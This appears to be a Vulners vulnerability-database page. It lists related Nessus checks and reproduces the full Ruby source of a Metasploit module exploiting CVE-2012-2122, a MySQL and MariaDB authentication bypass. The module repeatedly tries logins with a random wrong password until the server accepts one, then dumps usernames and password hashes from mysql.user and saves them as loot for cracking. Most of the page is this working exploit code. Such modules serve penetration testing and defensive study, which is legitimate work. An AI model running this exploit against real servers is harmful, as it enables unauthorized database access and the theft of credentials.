| Reporter | Title | Published | Views | Family All 95 |
|---|---|---|---|---|
| Oracle MySQL Server 5.5 < 5.5.24 Multiple Unspecified Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| Oracle MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| MySQL Server 5.1 < 5.1.63 Multiple Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| MySQL Server 5.5 < 5.5.24 Multiple Unspecified Vulnerabilities | 13 Jul 201200:00 | – | nessus | |
| Amazon Linux AMI : mysql55 (ALAS-2012-93) | 4 Sep 201300:00 | – | nessus | |
| CentOS 5 : mysql (CESA-2013:0180) | 24 Jan 201300:00 | – | nessus | |
| Debian DSA-2496-1 : mysql-5.1 - several vulnerabilities | 29 Jun 201200:00 | – | nessus | |
| Fedora 17 : mysql-5.5.24-1.fc17 (2012-9308) | 18 Jun 201200:00 | – | nessus | |
| Fedora 16 : mysql-5.5.24-1.fc16 (2012-9324) | 27 Jun 201200:00 | – | nessus | |
| GLSA-201308-06 : MySQL: Multiple vulnerabilities | 30 Aug 201300:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/mysql/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MySQL Authentication Bypass Password Dump',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes are stored as loot for later cracking.
Impacts MySQL versions:
- 5.1.x before 5.1.63
- 5.5.x before 5.5.24
- 5.6.x before 5.6.6
And MariaDB versions:
- 5.1.x before 5.1.62
- 5.2.x before 5.2.12
- 5.3.x before 5.3.6
- 5.5.x before 5.5.23
},
'Author' => [
'theLightCosine', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122'],
['OSVDB', '82804'],
['URL', 'https://www.rapid7.com/blog/post/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)
deregister_options('PASSWORD')
register_options( [
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
])
end
def run_host(ip)
# Keep track of results (successful connections)
results = []
# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)
# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
close_required = true
mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: socket)
results << mysql_client
close_required = false
print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{mysql_client.peerhost}:#{mysql_client.peerport}"
rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
ensure
socket.close if socket && close_required
end
# Short circuit if we already won
if results.length > 0
self.mysql_conn = results.first
return dump_hashes(mysql_client.peerhost, mysql_client.peerport)
end
#
# Threaded login checker
#
max_threads = 16
cur_threads = []
# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]
while(queue.length > 0)
while(cur_threads.length < max_threads)
# We can stop if we get a valid login
break if results.length > 0
# keep track of how many attempts we've made
item = queue.shift
# We can stop if we reach 1000 tries
break if not item
# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0
t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
close_required = true
s = connect(false)
mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: s)
print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
results << mysql_client
close_required = false
rescue ::Rex::Proto::MySQL::Client::AccessDeniedError
rescue ::Exception => e
print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
ensure
s.close if socket && close_required
end
end
cur_threads << t
end
# We can stop if we get a valid login
break if results.length > 0
# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end
# Remove any dead threads from the set
cur_threads.delete(nil)
::IO.select(nil, nil, nil, 0.25)
end
# Clean up any remaining threads
cur_threads.each {|x| x.kill }
if results.length > 0
print_good("#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully exploited the authentication bypass flaw, dumping hashes...")
self.mysql_conn = results.first
return dump_hashes(mysql_client.peerhost, mysql_client.peerport)
end
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end
def dump_hashes(host, port)
# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{host}:#{port} There was an error reading the MySQL User Table")
return
end
# Create a table to store data
tbl = Rex::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => host,
:port => port,
:name => 'mysql',
:proto => 'tcp'
)
end
report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?
end
# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service, host, port)
filename= "#{host}-#{port}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", host, hash_loot, filename, "MySQL Hashes", service)
print_good("#{host}:#{port} Hash Table has been saved: #{path}")
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation